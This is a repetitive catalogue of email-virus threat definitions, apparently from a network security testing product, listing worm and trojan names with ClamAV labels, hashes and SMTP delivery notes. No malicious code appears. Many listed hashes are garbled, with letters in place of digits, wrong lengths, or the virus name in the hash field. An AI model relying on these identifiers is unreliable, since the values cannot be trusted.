Threat File Name:	Trojan.Downloader.Small-165.74b41503.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74b4150355449129cca71ec95f61b55e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Angela.ld4cff52.xml
Executive Description:	Email Virus VBS.Angela
Detailed Description:	This is the email virus VBS.Angela as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ld4cff52542336e930d189038dbb31a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Trilisa.68bf3c74.xml
Executive Description:	Email Virus W32.Trilisa
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68bf3c74bd760ecbea0cb633bd2f5a92. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sdan.b.526fc860.xml
Executive Description:	Email Virus Worm.Sdan.b
Detailed Description:	This is the email virus Worm.Sdan.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 526fc8600be3ac152bace5879d6f95fa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.b.b.2a0b92da.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.53f2d7d4_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f2d7d4e252d48bcac3e34da3ceb55d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.r.558c0dc7.xml
Executive Description:	Email Virus Worm.Lee.r
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 558c0dc7a4a060dbb00bba793d5f942. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Dropper.C.336blbcc.xml
Executive Description:	Email Virus Trojan.Dropper.C
Detailed Description:	This is the email virus Trojan.Dropper.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 336blbcc9a9e246e664c8674110114c2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Verocha.66blb149_IPv6.xml
Executive Description:	Email Virus Worm.Verocha (IPv6 Version)
Detailed Description:	This is the email virus Worm.Verocha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66blb1494988232bd3c2aelf6067161e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sowsat.F.f7db1120_IPv6.xml
Executive Description:	Email Virus Worm.Sowsat.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sowsat.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7db1120fb96912faaaale8d2defbeeb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Noon.e80c93c7.xml
Executive Description:	Email Virus Worm.Noon
Detailed Description:	This is the email virus Worm.Noon as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e80c93c78dd745efd7e51b4959a4ce33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AD.c9ac8641.xml
Executive Description:	Email Virus Worm.Lovgate.AD
Detailed Description:	This is the email virus Worm.Lovgate.AD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c9ac86413a6325b71f3351d6bce35d00. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.sig.5f855666_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.sig (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.sig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.sig. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jubon.a.a.2817c402_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Jubon.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Jubon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jubon.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maddas.0c1dd269.xml
Executive Description:	Email Virus Worm.Maddas
Detailed Description:	This is the email virus Worm.Maddas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c1dd2693ec0f5d2be79d04fd11b898e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sity.417143d7_IPv6.xml
Executive Description:	Email Virus Worm.Sity (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sity as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 417143d742381db2757ee23661d4868f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dblue.2.5fe86b52.xml
Executive Description:	Email Virus Worm.Dblue.2
Detailed Description:	This is the email virus Worm.Dblue.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fe86b52fcac44a4abb9377d6149a6bd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BL.2337a6cc.xml
Executive Description:	Email Virus Worm.LoveLetter.BL

Detailed Description:	This is the email virus Worm.LoveLetter.BL as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2337a6cc7169418e15e755dd43c9b1f8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Allfree.A.bf006f50.xml
Executive Description:	Email Virus VBS.Allfree.A
Detailed Description:	This is the email virus VBS.Allfree.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bf006f50d4a5149d7845b416cf538e32. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kondrik.a.4df586c4.xml
Executive Description:	Email Virus Worm.Kondrik.a
Detailed Description:	This is the email virus Worm.Kondrik.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4df586c4b34753ccaef4d0870f5cea30. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Q.ef57933f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Q (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef57933f673b38844d342aace90c657a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.ae962227_IPv6.xml
Executive Description:	Email Virus JS.Wobbler.A (IPv6 Version)
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ae962227335af514b45ba2a9196fef18. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lentin.I.d6e098e6.xml
Executive Description:	Email Virus Worm.Lentin.I
Detailed Description:	This is the email virus Worm.Lentin.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6e098e6122739168d0abfe285c0d14c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Ereal.d79675c6.xml
Executive Description:	Email Virus Worm.VBS.Ereal
Detailed Description:	This is the email virus Worm.VBS.Ereal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d79675c65c94e6efd3af14cad5810b3b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AM.e6d771c2_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.AM (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e6d771c24e8dbaf9543851e893c3e304. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LostGame.2849aeb5_IPv6.xml
Executive Description:	Email Virus Worm.LostGame (IPv6 Version)
Detailed Description:	This is the email virus Worm.LostGame as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2849aeb558799d3089432e3708576d8b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spth.Jsg.a.eecf3f3d_IPv6.xml
Executive Description:	Email Virus Worm.Spth.Jsg.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Spth.Jsg.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eecf3f3da55eb69c9243af4d09b2a18e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.203f63fb_IPv6.xml
Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 203f63fbdf9a4139ce8fc8fb6c07b98b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Matcher.mat.2eb06e18_IPv6.xml

Executive Description:	Email Virus Email-Worm.Win32.Matcher.mat (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Matcher.mat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Matcher.mat. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.931e4d09_IPv6.xml
Executive Description:	Worm.Mytob.S (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 931e4d097c51cb6bd561ab6b2015853f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.a.07ccb143.xml
Executive Description:	Email Virus Worm.Jerm.a
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 07ccb143c668ab02cf338309af170782. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.bled76c6_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bled76c639429a8645419d29fae6d3c4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ecopic.eco.add7ad76_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Ecopic.eco (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Ecopic.eco as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ecopic.eco. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.d.d.594df4aa_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Niqim.b6852898.xml
Executive Description:	Email Virus Worm.Niqim
Detailed Description:	This is the email virus Worm.Niqim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b68528982aa31fa8645d8e0afe7c8c5b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.9e4df818.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e4df8189d3cbf9d5d0f627db41d97fb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Zafi.D.387ea0a6.xml
Executive Description:	Email Virus Worm.Zafi.D
Detailed Description:	This is the email virus Worm.Zafi.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 387ea0a6f410281971b3fc53b7777a40. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.c.c.d28f7d63_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Redirect.9c031483.xml
Executive Description:	Email Virus Worm.Redirect
Detailed Description:	This is the email virus Worm.Redirect as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c031483784b849be5d0caf86bcff063. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Ainjo.d.d.1e8fb563.xml
Executive Description:	Email Virus Email-Worm.Win32.Ainjo.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Ainjo.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ainjo.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.j.j.a304cdfd.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.j.j
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.j.j. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.533fe353.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 533fe35372e5660c7535a216e73cd0b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.d060da6a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d060da6a50fb357174ad811493c66936. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zuoning.zuo.4f600be9_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Zuoning.zuo (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Zuoning.zuo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zuoning.zuo. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lentin.b.b.3b0b3d1f.xml
Executive Description:	Email Virus Email-Worm.Win32.Lentin.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Lentin.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lentin.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.a.a.e84ab293_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.08c40dc6.xml
Executive Description:	Email Virus Worm.Fbound.C
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c40dc60ab7a74f5a895aab83080a5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Backdoor.Haxdoor.B.5ea70f86.xml
Executive Description:	Email Virus Email-Worm.Backdoor.Haxdoor.B
Detailed Description:	This is the email virus Backdoor.Haxdoor.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ea70f863alb63d08c14d3c2455f8790. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Duksten.c.c.6c18f8aa_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Duksten.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Duksten.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Duksten.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nooler.B.1bef08e1_IPv6.xml
Executive Description:	Email Virus Worm.Nooler.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nooler.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1bef08e1f6c64703a510190d464bf9a5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Gain.gai.970a06be_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Gain.gai (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Gain.gai as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Gain.gai. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.c.c.597a6bfd_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Emin.d9fd66a8.xml
Executive Description:	Email Virus Worm.VBS.Emin
Detailed Description:	This is the email virus Worm.VBS.Emin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d9fd66a813b647e9461e654ba80db7bc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Talorm.88d0606e_IPv6.xml
Executive Description:	Email Virus Worm.Talorm (IPv6 Version)
Detailed Description:	This is the email virus Worm.Talorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88d0606ebdabe3e8b237c480adfa848. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.FLove.ed38bbd9.xml
Executive Description:	Email Virus Worm.BAT.FLove
Detailed Description:	This is the email virus Worm.BAT.FLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed38bbd915420548c5d5a442366939f8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Dracv.2.b35c3c00.xml
Executive Description:	Email Virus Worm.Dracv.2
Detailed Description:	This is the email virus Worm.Dracv.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b35c3c001da60be4995f80946baaaaa4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pics.b.dab362e2.xml
Executive Description:	Email Virus Worm.Pics.b
Detailed Description:	This is the email virus Worm.Pics.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dab362e23d98a3ba9be4b577ea44be6e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wabbin.elc336c3.xml
Executive Description:	Email Virus Worm.Wabbin
Detailed Description:	This is the email virus Worm.Wabbin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: elc336c3bdalc256628fbf81eca4b571. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.a.frm.81ee1128_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.a.frm (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.a.frm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.a.frm. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Unicle.B.3e34f872.xml
Executive Description:	Email Virus Worm.Unicle.B
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e34f8723c3bfad9923c61cbff44d52b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.i.i.58c6c324.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.i.i
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Kondrik.a.4df586c4_IPv6.xml
Executive Description:	Email Virus Worm.Kondrik.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kondrik.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4df586c4b34753ccae4d0870f5cea30. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.3d23ec8b.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d23ec8b55840b95ea75197ce9446b6d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.e9baa7ed.xml
Executive Description:	Email Virus Worm.Bagle.Z
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9baa7edb4b17ef64281a41bbe01f8d1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trader.63119305.xml
Executive Description:	Email Virus Worm.Trader
Detailed Description:	This is the email virus Worm.Trader as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6311930555c77ae2d0b39bfe1b267958. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Yama.yam.f1233115.xml
Executive Description:	Email Virus Email-Worm.JS.Yama.yam
Detailed Description:	This is the email virus Email-Worm.JS.Yama.yam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Yama.yam. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Zooboo.0459a6fb.xml
Executive Description:	Email Virus Worm.Zooboo
Detailed Description:	This is the email virus Worm.Zooboo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0459a6fb7757714ba92c8a3ff1ebfe05. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.34775617.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3477561728af77a73980251bbd7e7b44. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unis.B.bdlac3a7.xml
Executive Description:	Email Virus Worm.Unis.B
Detailed Description:	This is the email virus Worm.Unis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdlac3a7f01019ba31243ab76e3849e9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Shoho.c94b0960_IPv6.xml
Executive Description:	Email Virus W32.Shoho (IPv6 Version)
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c94b09609daf2916b68950fbb568c486. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Nemit.b.b.6clef977.xml
Executive Description:	Email Virus Email-Worm.VBS.Nemit.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Nemit.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Nemit.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Chu.1.de34d735_IPv6.xml
Executive Description:	Email Virus Worm.Chu.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Chu.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de34d735d30bd0e107e14bb6aa8bf3e0. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4ac7ab17.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ac7ab17eed48c05dd23ba55f009150e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Doday.c6be62c1.xml
Executive Description:	Email Virus Worm.Doday
Detailed Description:	This is the email virus Worm.Doday as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c6be62c1334a6fe95c0cb1faa2532199. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Futonik.11b9bdcf.xml
Executive Description:	Email Virus Worm.Futonik
Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11b9bdcf7a7f40c0a0892d3ac8caabc9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.60cacd41.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60cacd41cab8eef0609c1elf8715636d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Soda.56a183ab.xml
Executive Description:	Email Virus Worm.Soda
Detailed Description:	This is the email virus Worm.Soda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 56a183abf5b62d02c9842661648233a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5d796596.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7965963964d4b1ea73cf73da8b3e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Brit.g.g.63217616_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Brit.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zokrim.a.8d77fad4.xml
